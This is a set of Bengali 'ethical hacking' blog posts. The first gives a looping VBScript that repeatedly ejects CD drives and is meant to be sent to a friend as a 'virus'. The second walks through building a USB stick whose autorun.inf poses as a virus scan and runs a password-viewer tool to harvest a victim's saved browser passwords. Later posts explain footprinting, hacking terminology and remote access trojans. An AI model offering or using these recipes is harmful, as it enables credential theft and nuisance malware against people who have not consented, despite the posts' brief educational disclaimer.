ইথ্যিক্যাল হ্যাকিং

কি ভাবে একটি “ডস” ভাইরাস বানাবেন?

আমি আবার চলে এসেছি নতুন কিছু নিয়ে যা আপনারা হইতো আগে দেখেন নাই, এথিকাল হ্যাকিং এর এই পর্বে আমি আপনাদের শেখাবো ইউনিক কিছু আসা করি সবার ভালো লাগবে।

আজ আমি আপনাদের ভাইরাস বানানো শেখাবো যা দিয়ে আপনি নিজেই যে কোন কম্পিউটারে শুধু কিছু কোড লেখে বানাতে পারবেন ভাইরাস এবং এটা দিয়ে আপনার বন্ধু দের তাক লাগিয়ে দিতে পারবেন।

চলুন শুরু করা যাক

☣↪এই ভাইরাস দ্বারা আপনার বন্ধুর C.D drive বার বার পপ আপ হতে থাকবে অটোমেটিক।

????বিঃদ্রঃ অল্প বিদ্যা ভয়ংকর

Continually pop out your friend’s CD Drive. If he / she has more than one, it pops out all of them????????????????????????????????????????????????????????????

আপনাকে প্রথমে একটি নোটপাড ওপেন করতে হবে এবং নিচের কোড গুলো কপি করে নোট পাড এ পেস্ট করতে হবে।

কোড গুলো হলোঃ

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

এবং Emoo.VBS লিখে সেভ করুন ফাইলটি।

এবার আপনার বন্ধুকে ফাইলটি সেন্ড করুন তার পর দেখুন আপনার বন্ধুর রিয়াকশন।

>> এটি ছিল একটি ডস ভাইরাস এর বেসিক রুপ <<
ভাইরাস! ☠ ভাইরাস!

আবার আসবো নতুন কিছু নিয়ে।
জ্ঞান শেয়ারিং এ বৃদ্ধ হয়
ভাল থাকবেন সবাই????????  [email protected]

ইথ্যিক্যাল হ্যাকিং

কি ভাবে একটি হ্যাকিং পেনড্রাইভ বানাবেন? যা কম্পিউটারে এ ঢুকানো মাত্র সকল পাসওয়ার্ড চুরি করে নেবে।

কি ভাবে একটি হাকিং পেনডাইভ তৈরি  করবেন যা ভিক্টিমের কম্পিউটার এর সকল পাসওয়ার্ড চুরি করে কপি করে নেবে?

 

এই পোস্টিতে আমি আপনাদের শেখাবো কি ভাবে একটি প্রোটেবল হাকিং ডিভাইস বানাবেন যা ভিক্টিমের কম্পিউটার এর সকল পাসওয়ার্ড চুরি করে নেবে তাছাড়া এই প্রোগ্রামটির মাধ্যমে আপনি আপনার ফ্রেন্ড অথবা আত্বিয়দের ভুলে যাওয়া পাসওয়ার্ড বের করতে পারবেন।

নিচের দেওয়া এই কৌশলটির মাধ্যমে আপনি হ্যাকিং করতে পারবেন একজন প্রো- হ্যাকারের মতো করে।

তো চলুন  শুরু করা যাক,

 

যা যা লাগবে এটি করার জন্য

১.  কম্পিউটার

২. পেন ড্রাইভ

৩.ওয়েব ব্রাউজার পাসওয়ার্ড ভিউয়ার(ডাউনলোড)

  Step 1 >>ডাউনলোড করুন  Web Browser Pass views Zip ফাইল উপরের লিংক থেকে

 

Step 2 >> পেনড্রাইভ টি কম্পিউটার এর সাথে লাগান এবং   Quick Format করুন NTFS মতো।

Step 3: এবার পেনড্রাইভ এ একটি নতুন ফোল্ডার বানান এবং নাম দেন “USB” and তারপর Extract করুন  Web Browser Passview zip file টি USB folder এর মধ্যে।

 

Step 4: নোট পাড ওপেন করুন এবং নিচের জিনিসটা কপি করুন তার পর অই USB ফোল্ডারে যান আর সেভ করুন USB Driver.bat  ফরমেটে।

বিঃদ্রঃ বাংলা আর্টিকেল লেখার অভ্যাস নেই তাই বানানে ভুল ত্রুটি হলে  ক্ষমা করবেন????

@echo off
cls
start \usb\WebBrowserPassView.exe /shtml 1.html




Step 5: আবার একটি নোট পাড ওপেন করুন আর নিচের লেখাগুলো কপি করে নোট পাড এ পেস্ট করুন এবং ফাইলটি সেভ করুন Autorun.inf নামে।

 

[autorun]

open=usbdriver.bat

Action=Perform a virus scan

 

Step 6:  এবার পেনড্রাইভ এ অই দুইটা ফাইল করেন। Autorun.inf  এবং USBdriver.bat

 

Step 7: আপনার হাকিং ডিভাইসটি আপনার ভিক্টিমের কম্পিউটার এ সেট করেন।  যখন পেনড্রাইভ টি লাগাবেন ভিক্টিমের কম্পিউটার এ তখন একটি নোটিফিকেশন দেখতে পারবেন। সেখানে       Virus Scan করার কথা জিজ্ঞাসা করবে এবং yes এ ক্লিক দেবেন তারপর একটি উইন্ডো দেখতে পাবেন সেখানে একবার   ctrl+a চাপুন তারপর Ctrl+s এবং উক্ত ফাইলটি পেনড্রাইভে সেভ করুন, এখন ওই নোট পাড ওপেন করুন সেখানে আপনি আপনার কাংখিত পাসওয়ার্ড পেয়ে যাবেন।

 

দ্রষ্টব্য: মাঝে মাঝে অটোরান ফাইলটি সেই মানদন্ডে কাজ করে না, আপনাকে পেন ড্রাইভ পার্টিশনটি খুলতে হবে এবং তারপরে ইউএসবি ড্রাইভারের উপর দুবার ক্লিক করুন এবং তারপরে কেবল ⌨ Ctrl + a এবং ???? Ctrl + s টিপুন এবং ফাইলটি আপনার পেন ড্রাইভে সংরক্ষণ করুন । আপনি এবার পাক্টিস করতে থাকুন যত দ্রুত করতে পারবেন ততোই ভালো আপনার জন্য।

 

⚠⚠**দয়াকরে এইটি কোন খারাপ কাজের জন্য ব্যাবহার করবেন ন।  এটি শুধু একটি শিক্ষামুলক আর্টিকেল ছিল। ????????

ইথ্যিক্যাল হ্যাকিং

এথ্যিক্যাল হ্যাকিংঃ পর্ব ৩; Information Gathering কি ও footprinting নিয়ে বিস্তারিত

হ্যাকিং হচ্ছে একটা আর্ট। যেটাকে আপনি লজিকের আর্ট বলতে পারেন। হেডলাইন দেখেই হয়তো বুঝে ফেলেছেন কি থাকতে যাচ্ছে আজকের আর্টিকেলে। হ্যা, আজকের আলোচনার বিষয় হচ্ছে Information gathering নিয়ে।

Information Gathering কি?

ইনফরমেশন গেদারিং হচ্ছে একটা প্রোসেস, যেই প্রোসেসের মাধ্যমে কোন কম্পিউটার, ওয়েবসাইট বা নেটওয়ার্কের তথ্য কালেক্ট করতে পারেন। যেকোন ধরনের তথ্য কালেক্ট করাই ইনফোরমেশন গেরানিং এর মাঝে পরে থাকে। যেমন কেও যদি আমার ওয়েবসাইটের ইমেইল টি কালেক্ট করতে পারে, তবে সেটাও ইনফোরমেশন গেদারিং এর মাঝে পরবে।

আপনি কি ইথ্যিক্যাল হ্যাকিন শিখতে চান? আমাদের এই আর্টিকেল গুলো পড়ুনঃ

Information Gathering কত ধরণের?

আসলে এই ভাবে বলা ঠিক না information Gathering কত ধরণের। কেননা আপনি নিজের কাস্টোম মেড কোন মেথড দিয়ে Information Collect করতে পারেন। তবে নিয়ম রক্ষার ক্ষেত্রে আমি Information Gathering কে ২ ভাগে ভাগ করবো।

  • Footprinting
  • Fingerprinting

যদিও আমি নিজে মনে করি Information Gathering কে কোন ভাগে ভাগ করা ঠিক না।

আমার নিজের ব্যবহার Information Gathering মেথড, যেটা এইসকল নিয়মের বাইরে

Footprint কি?

Footprint হচ্ছে একটা প্রোসেস যেটা দিয়ে আপনি information Gather করতে পারবেন। কিছু কিছু পক্রিয়া রয়েছে যেগুলো এই ফুটপ্রিন্টের মাঝেই পরে থাকে। যদিও এটা নির্ভর করে আপনার টেকনিকের ওপর।

  • Domain name
  • IP Addresses
  • Namespaces
  • Employee information
  • Phone numbers
  • E-mails
  • Job Information

সাধারণত এইসকল তথ্য গুলো কালেক্ট করা হয়ে থাকে। যদিও তথ্য সংগ্রহের কোন বাধ্যবাধকতা নেই।

কম্পিউটারের ফ্রি কোর্স করুনঃ

  1. কম্পিউটার কি, এর বৈশিষ্ট্য ও ইতিহাস
  2. কম্পিউটারের বিভিন্ন প্রকার  – Types Of Computer In Bangla.
  3. কম্পিউটারের ব্যবহার – Uses Of Computer In Bangla
  4. কম্পিউটারের সুবিধা এবং অসুবিধা
  5. কম্পিউটার কিভাবে কাজ করে – বাংলাতে কম্পিউটারের কাজ সম্পর্কে সম্পূর্ণ তথ্য
  6. কম্পিউটারের জেনারেশন | Generations Of Computer In Bangla?
  7. কম্পিউটারের ব্যাসিক যন্ত্রাংশ
  8. কম্পিউটার সফটওয়্যার কি

কিছু Footprint এর ধারণাঃ

কিছু ফুটপ্রিন্ট নিয়ে আলোচনা করা হবে। কিভাবে আপনি তথ্য সংগ্রহ করবেন?

Domain Name Information

Domain Name Information যেটাকে আপনি Whois বলতে পারেন। কেননা Whois Guard লাগানো না থাকলে আপনি অনেক তথ্য সংগ্রহ করা সম্ভব। যেমন ধরুন, ইমেইল, ফোন নাম্বার ইত্যাদি। whois.com/whois এই ওয়েব সাইট থেকে আপনি তথ্য সংগ্রহ করতে পারেন।

আপনাদের সুবিধার জন্য নিজের সাইট এর ফুটপ্রিন্ট ব্যবহার করছি। নেম সার্ভার হিসাবে দেখুন, আপনি যদি ns1 এই টুকু কেটে দিয়ে শুধু allreviewbd.com এ ঢুকেন থাহলেই আমার হোস্টিং প্রোভাইডার কে পেয়ে যাবেন।

এবার দেখুন মজার বিষয় টা, আমার শহর,ফোন নাম্বার, ইমেইল সব কিছুই আছে। এবার আপনি চাইলে আপনার বুদ্ধি খাটিয়ে এর থেকে অনেক কিছুই বের করতে পারেন। এর থেকে বেশি কিছু বলে নিজের বাঁশ নেয়ার ইচ্ছে নাই।

Fix করবেন কিভাবে?

এটা ফিক্স করার জন্য whois guard ব্যবহার করুন। হয়তো প্রতি বছরে এর জন্য ২-৩ ডলার খরচ হতে পারে। কিন্তু আপনি যদি নেম চিপ থেকে ডোমেইন কিনে থাকেন, তাহলে Whois Guard ফ্রিতে পাবেন।

কিভাবে আইপি বের করবেন?

আইপি খোজার জন্য আপনি চাইলে cmd অথবা কিছু ওয়েব সাইট আছে। সেই গুলো ব্যবহার করতে পারেন।

নিচের দেওয়া কমান্ড দিয়ে আপনি চাইলে আইপি বের করতে পারেন

$ping sitename.com

It will produce the following result

PING sitename (--.---.--.---) 56(84) bytes of data. 
-- bytes from -------: icmp_seq = 1 ttl = 64 time = 0.028 ms 
-- bytes from -------: icmp_seq = 2 ttl = 64 time = 0.021 ms

আবার আপনি চাইলে whoer.net এই সাইট থেকেও ওয়েবসাইটের আইপি বের করে নিতে পারেন।

কিভাবে আইপি হাইড করবেন?

আইপি হাইড করার জন্য আপনাকে কিচ্ছু করা লাগবে না। শুধু  cloudflare.com এ একটা আপনার একটা একাউন্ট খুলুন ও আপনার সাইট টা সেট করে নিন।

সার্ভারের সকল সাইট এনালাইসিস

অনেকেই শেয়ার্ড হোস্টিং ব্যবহার করে থাকেন। শেয়ার্ড হোস্টিং প্রধানত একটা সার্ভারে অনেক গুলো সাইট হোস্ট করার সুবিধা দিয়ে থাকে। আর এই সুবিধা মধুর হয়ে দ্বাড়ায় হ্যাকারদের কাছেও। ধরুন একটা সার্ভারে আপনার একটা সাইট আছে, সেই সাইটে আমার একটা সাইট আছে। এখন আমার সাইট হ্যাকার টার্গেট করে হ্যাক করার জন্য। সে এখন সার্ভার স্ক্যান করে দেখলো একই সাইটে আপনার ও আমার সাইট রয়েছে, ও আপনার সাইট টা হ্যাক করা সম্ভব। এর মানে আমার সাইট টাও তো হ্যাক হবার সম্ভাবনা ৯০%। ব্যাস হয়ে গেল আমার সাইট টা তো তার কাছে হ্যাক করা এখন আরো সুবিধা।

এখন প্রশ্ন হচ্ছে কিভাবে সার্ভার স্ক্যান করবেন?

https://viewdns.info/reverseip/ এই সাইটা ব্যবহার করুন ও আপনি যে সাইটের সার্ভার স্ক্যান করতে চাচ্ছেন সেটা স্ক্যান করে ফেলুন। উপরের ভিডিও টাও একই কাজ করে যদি এটা একটা সাইট হ্যাক করার পরে করা।

কিভাবে ফিক্স করবেন?

এটা ফিক্স করার জন্য আইপি হাইড করলেই চলবে।

ওয়েবসাইট হিস্টোরি চেক করুন

এটা খুব সহজ, আপনি শুধু www.archive.org এই ওয়েব সাইটের যান। এরপরে এর সকল হিস্টোরি চেক করুন। যদিও এটা খুব একটা আশা ব্যাঞ্জক ফল দেয় না। তবুও চেষ্টার ত্রুটি থাকা মোটেও ঠিক না।

পূর্বে প্রকাশিত ঃ

পরের আর্টিকেলে Fingerprint নিয়ে আলোচনা করা হবে। ভেবেছিলাম একটা আর্টিকেলেই সব কিছু নিয়ে আলোচনা করবো। কিন্তু Fingerprint এর জন্য কিছু টুলস এর প্রয়োজন রয়েছে। পরবর্তী পোস্টে টুলস এর ব্যবহার ও ইন্সটল সহ আলোচনা করা হবে। যে কোন ধরণের হেল্পের জন্য আমাদের ফেসবুক গ্রুপে জয়েন করতে পারেন। আমাদের গ্রুপের লিংক

 

ইথ্যিক্যাল হ্যাকিং

এথ্যিক্যাল হ্যাকিংঃ পর্ব ২; হ্যাকিং পরিভাষা [Terminologies] [ব্যাসিক]

আপনি সারা দিন ভাত খাচ্ছেন, কিন্তু আপনি জানেন না এটার নাম ভাত। এখন কেও যদি আপনাকে জিজ্ঞাসা করে আপনি খাচ্ছেন? তখন আপনার কাছে উত্তর দেয়ার মত কিছু থাকবে? বা আপনি যদি কোন সময় রান্না শিখেন বিরিয়ানি কিভাবে বানাতে হয়, কিন্তু আপনি তো এটাই জানেন না ভাত কি? তাহলে বিরিয়ানি রান্নার টিউটোরিয়াল দেখে কোন লাভ আছে? আপনি ভাত খান কিন্তু জানেন না এটা ভাত। ঠিক এমনি ভাবে হ্যাকিং এর ভাষা গুলোর নাম না জেনে কাজ জেনে কোন লাভ হবে না। আপনি যদি অন্য কোন টার্মের কাজ করতে যান তখন কোন একটা পার্ট আপনার সামনে চলে আসবে। বলতে পারেন একে অপরের সাথে খুব নিবির ভাবে জড়িত। আর ঠিক এই জন্যই আজকে জানাবো হ্যাকিং পরিভাষা, কোন টার্মের নাম কি? হ্যাকিং এর ক্ষেত্রে এদের কি বলে ডাকা হয়ে থাকে। বেশি কথা না বলে আসল কাজে চলে যায়। এখানে আমি সবত্থেকে গুরুত্বপূর্ন বিষয় গুলো নিয়ে আলোচনা করবো।

Adware

Adware
Adware

এড ওয়্যার হচ্ছে হ্যাকদের বানানো একধরনের সফটওয়্যার। যেটা ডিজাইন করা হয় কোন পিসি বা মোবাইলের মাঝে ঢুকে নিজস্ব কিছু এড দেখনোর জন্য। এইসব সফটওয়্যার গুলো হ্যাকারা বানিয়ে থাকে, আপনার পিসিতে বা ব্রাউজারে তাদের এড দেখিয়ে থাকে বা এড দেখানোর জন্য ফোর্স করে থাকে। কিছু কিছু সফটওয়্যার আপনার ব্রাউজার হিস্টোরি, কুকি এইসব সংগ্রহ করে রেখে দেয়। যা তারা পরে অনেক ইলিগ্যাল কাজে লাগিয়ে থাকে।

আপনি কি ইথ্যিক্যাল হ্যাকিং শিখতে চান? আমাদের এই আর্টিকেল গুলো পড়ুনঃ

Back Door

Back Door এমন একটা পন্থা যেটা দিয়ে আপনি কোন ওয়েব সাইট বা কম্পিউটারের মাঝে হিডেন হয়ে লগইন করতে পারবেন। এর জন্য আপনাকে কোন লগইন করার প্রয়োজন হবে না। নাম শুনেই হয়তো বুঝতে পারছেন আসলেই এর কাজ টি কেমন। পেছনের দরজা, মানে আপনি ঘরে ঢুকতে পারবেন ঠিকই কিন্তু পেছনের দরজা দিয়ে।

Attack

Attack হচ্ছে একটা একশন। যার মাধ্যমে আপনি ভিকটিমের ডাটা পেতে বা পাওয়ার চেষ্টা করতে পারেন।

Bot

Bot হচ্ছে একটা প্রোগ্রাম বা স্রিপ্ট। যেটা মানুষের মত কোন কাজ নিজে নিজেই করতে পারে। যেটার মাঝে নিদির্ষ্ট করে প্রোগ্রাম করে দেয়া থাকে। এটার সব থেকে ভাল উদাহরণ গুগোল বট বা বিং বট। এইসকল বট গুলো সকল ওয়েব সাইট কে ক্রাউল করে থাকে। একটা মানুষ যদি এই কাজ করতে যেত তাহলে হয়তো তার সারা জীবন লেগে যেতে পারতো। কিন্তু একটা বট এই কাজ মানুষের মত করেই বার বার একই টাস্ক করে থাকে।

Botnets

Botnets হচ্ছে অনেক গুলো বটকে একসাথে একই নেটওয়ার্কের নিচে এনে পরিচালনা করা। এটা মূলত ব্লাক হ্যাট হ্যাকার করে থাকে। Botnet কে আপনি Zombie Army এদের সাথেও তুলনা করতে পারেন। Botnet এর ব্যবহার হয়ে থাকে মূলত ডিডস এট্যাক, spamming, mail bombing এই সব এর ক্ষেত্রে।

Brute force attack

Brute force attack এই নাম টি হয়তো অনেকেই শুনে থাকবেন। বলতে পারেন অনেক প্রচলিত একটা নাম। এই প্রচলিত হবার কারণই হচ্ছে হ্যাকারদের কাছে জনপ্রিয়তা। Brute force attack কাজ হচ্ছে কোন লগইন পেজে আলাদা আলাদা কম্বিনেশেনে ইউজার নেম ও পাসওয়ার্ড ইনপুট করে লগইন করা। আপনি একে একটি ক্র্যাকার বলতে পারেন।

Clone phishing

Clone phishing
Clone phishing

ক্লোন ফিশিং হচ্ছে কোন ওয়েব সাইটের ফেক লগইন বানিয়ে, ইউজার দের তথ্য চুরি করে নেওয়ার একটা ট্রিক মেথড। এটা অনেক জনপ্রিয় ও বলতে পারেন এটা সারা জীবন ধরেই জনপ্রিয় থাকবে। এটা নির্ভর করে হ্যাকার কতটা বুদ্ধিমান ও হ্যাকার কতটা সময় উপযোগী ভাবে ইউজারদের বোকা বানাতে পারে। হ্যাকার যদি সঠিক ভাবে তার কাজ টি করতে পারে, বেশির ভাগ ক্ষেত্রেই ইউজার গণ বোকা বনে যেতে বাদ্ধ হয়ে পরেন।

Denial of service attack (DoS)

এই সব নিয়ে আমি কিছুই বলবো না তেমন ভাবে কেননা এর আগে এইসব নিয়ে অনেক বিষদ ভাবে আলোচনা করা হয়েছে। আপনি যদি না পড়ে থাকেন তাহলে এইন আর্টিকেল টি পড়ে আসুন।

Malware

ম্যালওয়্যার hacking terminology.সব থেকে সুন্দর বিষয়। এটা হচ্ছে শুধু মাত্র একটা কিছু প্রোগ্রামিং যা হ্যাকার রা ভিকটিমের পার্সোনাল ডাটা, পাসওয়ার্ড ইত্যাদি চুরি সহ পুরো সিস্টেম ক্রাশ করিয়ে দিতে পারে। এটা নিয়ে বিস্তারিত জানতে এই আর্টিকেল টা পরে আসতে পারে। 

কম্পিউটারের ফ্রি কোর্স করুনঃ

  1. কম্পিউটার কি, এর বৈশিষ্ট্য ও ইতিহাস
  2. কম্পিউটারের বিভিন্ন প্রকার  – Types Of Computer In Bangla.
  3. কম্পিউটারের ব্যবহার – Uses Of Computer In Bangla
  4. কম্পিউটারের সুবিধা এবং অসুবিধা
  5. কম্পিউটার কিভাবে কাজ করে – বাংলাতে কম্পিউটারের কাজ সম্পর্কে সম্পূর্ণ তথ্য
  6. কম্পিউটারের জেনারেশন | Generations Of Computer In Bangla?
  7. কম্পিউটারের ব্যাসিক যন্ত্রাংশ
  8. কম্পিউটার সফটওয়্যার কি

Spoofing

Spoofing  হচ্ছে খুব জনপ্রিয় ও সর্বাধিক ব্যবহার করা একটা মেথড। একজন হ্যাকার এই মেথড ব্যবহার করে থাকবেই। এটা এমন একটি মেথড যেটা দিয়ে কম্পিউটার কে বোঝানো হয় তার কাছে অরজিনার হোস্ট থেকে রিকুয়েস্ট আসছে। কিন্তু পুরোটাই থাকে ফেক।  

Email Spoofing

এটা নিয়ে আমি আলাদা করে কোন আলোচনা করতে চাচ্ছি না। কেননা এটা নিয়ে আমি আগেই অনেক বিশাল একটা আর্টিকেল লিখেছি। আপনি চাইলে এই আর্টিকেল দেখে পুরো বিষয় টা শিখে আসতে পারেন। তবে এটি হচ্ছে সব থেকে বেশি সফল একটা পন্থা। ধারনা এটা যে বাংলাদেশ ব্যাংক হ্যাকিং এর ক্ষেত্রেও ইমেইল স্পুফিং করা হয়েছিল (ব্যাক্তিগত মতামত)

Buffer Overflow

এটা এমন একটা টেকনিক যেটা দিয়ে কোন কম্পিউটার বা সিস্টেম এর মেমোরি কে বেশি বেশি ডাটা রাইট করার মাধ্যমে হ্যাং করে দেওয়া হয়। 

Encryption

এটা নিয়ে হয়তো কাওকে তেমন কিছুই বলা লাগবে না। এটার মাধ্যমে যে কোন ইনফোরমেশন বা ডাটা ইনকোড হয়ে যায়। এটার যেমন ভাল দিক আছে তেমনি খারাপ দিক আছে। যেমন আপনার মেইল যদি ইনক্রিপ্ট করা না থাকে তাহলে হ্যাকার সেটা হ্যাক করে পড়ে নিতে পারবে। যেমন ধরুন কেও যদি ম্যান ইন দ্যা মিডিল এট্যাক দেয় তবে এটা সম্ভব হত। আর খারাপ দিক হচ্ছে র‍্যানসম ওয়্যার এর মত ভাইরাস পুরো কম্পিউটার টা ইনক্রিপ্ট করে দেয়।

এই গুলোই আপাতত ছোট করে বলা সম্ভব হইলো বাকি গুলো এত ছোট করে বলা সম্ভব না। যেমন RooTkit, Worm, Clocking. তবে একে একে সব ট্রাম গুলো নিয়েই বিস্তারিত আলোচনা করা হবে। আমাদের ফেসবুক গ্রুপে জয়েন করুন। 

যদি আর্টিকেল ভাল লেগে থাকে তাহলে আমাদের সাথে থাকুন। পরের পর্বে কি দিব সেটা কমেন্ট করে জানান । যে কোন ধরণের হেল্পের জন্য আমাদের ফেসবুক গ্রুপে জয়েন করতে পারেন। আমাদের গ্রুপের লিংক

 

ইথ্যিক্যাল হ্যাকিং

এথিক্যাল হ্যাকিংঃ র‍্যাটওয়্যার বা র‍্যাট কি : কিভাবে আক্রান্ত্র করানো হয়? – [বেসিক]

আপনি একটা হলিউড মুভি দেখছেন। একজন হ্যাকার এক কম্পিউটারের সকল ডাটা তার কম্পিউটারে নিয়ে নিচ্ছে। সে অন্যর কম্পিউটার তার ঘরে বসেই নিয়ত্রণ করছে। কি মজা তাই না? কিন্তু আপনাদের মাঝে কেও মন খারাপ করে বসে আছে , “ইস আমি যদি এই ভাবে কারো কম্পিউটার হ্যাক করতে পারতাম”। আবার কেও বা বসে বসে নিজের মনকে সাত্বনা দিচ্ছে,” হুহ, হ্যাক কি এতই সোজা নাকি? এটা একটা মুভি ব্রো, সো ঘুমাই।” আপনি যদি এই ২ টা ধারণার কোন একটা মনে পোষন করে থাকেন, তাহলে এই আর্টিকেল টা শুধুমাত্র আপনার জন্য।

 

বর্তমান যুগ টি হচ্ছে তথ্য ও প্রযুক্তির যুগ এখই আমরা প্রায় সকল ক্ষেত্রেই কম্পিউটারের ওপর নির্ভরশীল হয়ে পরেছি। তাছাড়া দিন যত বেড়ে চলছে আমাদের পার্সোনাল কম্পিউটারের সংখ্যাও তত বেড়ে চলেছে। আর ঠিক কম্পিউটারের জন্যই আমাদের জীবন টা আরো সহজ ও নিরাপদ হয়ে উঠেছে। কিন্তু আপনি যতটা নিজেকে সুরক্ষিত ভাবছেন বা নিরাপদ ভাবছেন আপনি কিন্তু আসলে ততটা সুরক্ষিত না।

আপনার নিজের অগোচরে আপনার কম্পিউটারে অনেক কিছু হয়ে যাচ্ছে কিন্তু আপনি বুঝতেও পারছেন না। আপনার কম্পিউটারটা আপনি ছাড়া অন্য কেও ব্যবহার করছে কিন্তু আপনি এই বিষয়ে কিছুই জানতে পারছেন না। তাহলে আপনি নিজেই ভাবুন আপনি নিজে কতটা সুরক্ষিত? আর ঠিক এই বিষয় নিয়েই আজকের এই আলোচনা। আজকে আমাদের এথিক্যাল হ্যাকিং এ আলোচনা করবো র‍্যাট ও র‍্যাটওয়্যার নিয়ে।

আপনি কি ইথ্যিক্যাল হ্যাকিন শিখতে চান? আমাদের এই আর্টিকেল গুলো পড়ুনঃ

র‍্যাট কি

র‍্যাট শব্দটি যখনি আমরা শুনে থাকি আমাদের মাথায় আসে ইদুঁরের কথা। কেননা আমরা তো সারা জীবন জেনেই এসেছি র‍্যাট অর্থ ইদুঁর। কিন্তু এই র‍্যাট এর অর্থ ইদুঁর না। RAT বা র‍্যাট অর্থ হচ্ছে Remote Access Trojan বা Remote Access Tool বা Remote Admin Trojan/ Tool আসলে যে যেভাবে ব্যবহার করে আর কি। আপনি র‍্যাটকে এর যেকোন একটা বলেই ডাকতে পারেন। র‍্যাটে তা হচ্ছে এমন একটা প্রোগ্রাম যেটা আপনার কম্পিউটারে গিয়ে আপনার কম্পিউটারের যে Administration Power আছে সেটা নিয়ে নেই ও আপনি আপনার কম্পিউটারে যে যে কাজ করার ক্ষমতা পেয়ে থাকেন সেটা তখন র‍্যাট এর মাধ্যমে হ্যাকারের কাছেও চলে যায়। তাই হ্যাকার আপনার কম্পিউটারকে নিজের মত করে চালাতে পারে।

র‍্যাটওয়্যার কি?

র‍্যাটওয়্যার হচ্ছে র‍্যাট ব্যবহার করার জন্য একটা টুল যেটা প্রোফেশনাল স্পামারেরা ব্যবহার করে থাকে। এখন আপনার মনে প্রশ্ন আসতে পারে তাহলে ভাই র‍্যাট চালানোর জন্য যদি কোন টুল লাগে তাহলে র‍্যাট কি? আসলে ভাই র‍্যাট কোন টুল না। এটা শুধু মাত্র একটা প্রোগ্রাম এটাকে আপনার কম্পিউটারে রান করার জন্য আলাদা ভাবে ইন্সটল করা লাগবে না।

বাইনারি সংখ্যা কি? আপনার কম্পিউটার কিভাবে বাইনারি সংখ্যা বুঝে থাকে?

র‍্যাট কিভাবে  কাজ করে ও এর উদ্দেশ্য

যখনই কোন বিষয় কি সেটা জেনে যাবেন তখনি আপনার মনে নতুন প্রশ্ন জেগে যাবে এটা কিভাবে কাজ করে? ঠিক তেমনি ভাবে আপনার মনেও প্রশ্ন জেগে গেছে  র‍্যাট কিভাবে কাজ করে? আসলে আমি আগেই বলেছি র‍্যাট কোন সফটওয়্যার না এটা শুধু একটা প্রোগ্রাম যেটা আপনার পিসি তে অনেক ভাবেই ঢুকে যেতে পারে। যেমন ধরুন আপনি কোন একটা সফটওয়্যার ইন্সটল দিয়েছেন সেটার মাঝে র‍্যাট প্রোগ্রাম দেয়া আছে এখন আপনার কম্পিউটার র‍্যাট দ্বারা আক্রান্ত হয়ে গেল। কিন্তু আপনি এটাকে দেখতে পারবেন না বা বুঝতে পারবেন না।

র‍্যাটওয়্যার বা র‍্যাট কি

কেননা এটা কাজ করবে ব্যাকগ্রাউন্ডে. এটা মূলত কাজ করে ব্যাকডোর হিসেবে ঠিক এই কারণেই আপনি যদি সচেতন না হয়ে থাকেন তাহলে আপনি কোন ভাবেই বুঝতেই পারবেন না যে আপনি র‍্যাট দ্বারা আক্রান্ত। হ্যাকার তার নিজের কম্পিউটারে একটা র‍্যাটওয়্যার ইন্সটল দেয় ও নিজের কম্পিউটারে একটা পোর্ট ওপেন করে দেয়। র‍্যাট এর ভেতর এমন ভাবে প্রোগ্রাম করা থাকে যে, যখন ভিকটিমের পিসিতে এই র‍্যাট ঢুকে যাবে তখন ভিকিটিমের পিসিতে একটা পোর্ট ওপেন হবে। যেই পোর্টের মাধ্যমে হ্যাকার ভিকটিমের পিসি নিয়ত্রন করতে পারে। বেশির ভাগ ক্ষেত্রেই এই পোর্ট হয় ২৫ অথবা ৪০ কিন্তু অনেক সময় এই পোর্ট ভিন্ন হয়ে থাকে।

কম্পিউটারের ফ্রি কোর্স করুনঃ

  1. কম্পিউটার কি, এর বৈশিষ্ট্য ও ইতিহাস
  2. কম্পিউটারের বিভিন্ন প্রকার  – Types Of Computer In Bangla.
  3. কম্পিউটারের ব্যবহার – Uses Of Computer In Bangla
  4. কম্পিউটারের সুবিধা এবং অসুবিধা
  5. কম্পিউটার কিভাবে কাজ করে – বাংলাতে কম্পিউটারের কাজ সম্পর্কে সম্পূর্ণ তথ্য
  6. কম্পিউটারের জেনারেশন | Generations Of Computer In Bangla?
  7. কম্পিউটারের ব্যাসিক যন্ত্রাংশ
  8. কম্পিউটার সফটওয়্যার কি

আপনার মনে আসতে পারে এটা করার ফলে হ্যাকার কি লাভ পায়? আসলে এখানে হ্যাকারের অনেক লাভ থেকে থাকে। যেমন ধরুন আপনার পার্সোনাল ইনফোরমেশন হ্যাকার হাতিয়ে নেই, এছাড়াও অনেক কিছু। তাহলে আসুন দেখে নেই হ্যাকার দের উদ্দেশ্য কি থাকে এই র‍্যাট ব্যবহার করার।

  • ভিকটিমের পারসোনাল ইনফোরমেশন হাতিয়ে নেয়া।
  • বোটনেট এর সাথে যুক্ত করা ভিকটিমের কম্পিউটার কে।
  • ক্রেডিট কার্ড এর তথ্য হাতিয়ে নেয়া।
  • আপনার কম্পিউটার এ ভাইরাস ঢুকিয়ে দেয়া।
  • ভিকটিমের অনলাইন একাউন্ট গুলো ব্যবহার বা হ্যাক করাও এদের উদ্দেশ্যর মাঝে একটা।
  • এছাড়া সব থেকে বড় কথা ভিকটিমের কম্পিউটারের সকল এক্সেস নিজের করে নেয়াই এদের প্রধান উদ্দেশ্য।

ড্রোন কি? ড্রোন কিভাবে কাজ করে? বিস্তারিত জানুন

যে সকল পদ্ধতিতে র‍্যাট দ্বারা আক্রান্ত হতে পারেন

আসলে কিভাবে র‍্যাট দ্বারা আক্রান্ত হবেন সেটা নির্দিষ্ট করে কখনো বলা যাবে না। একজন স্পামার বা হ্যাকার আপনাকে অনেক ভাবে র‍্যাট দ্বারা আক্রান্ত করতে পারে। কিন্তু সব থেকে বড় কথা আপনার কম্পিউটারে র‍্যাট কিন্তু এমনিতেই আসবে না আপনাকে অবশ্যই এটা ডাউনলোড করতে হবে। এবার কথা হচ্ছে আপনি কিন্তু ডাউনলোড করছেন আবার আপনি কিন্তু ডাউনলোড করছেন না। বুঝেন নাই?

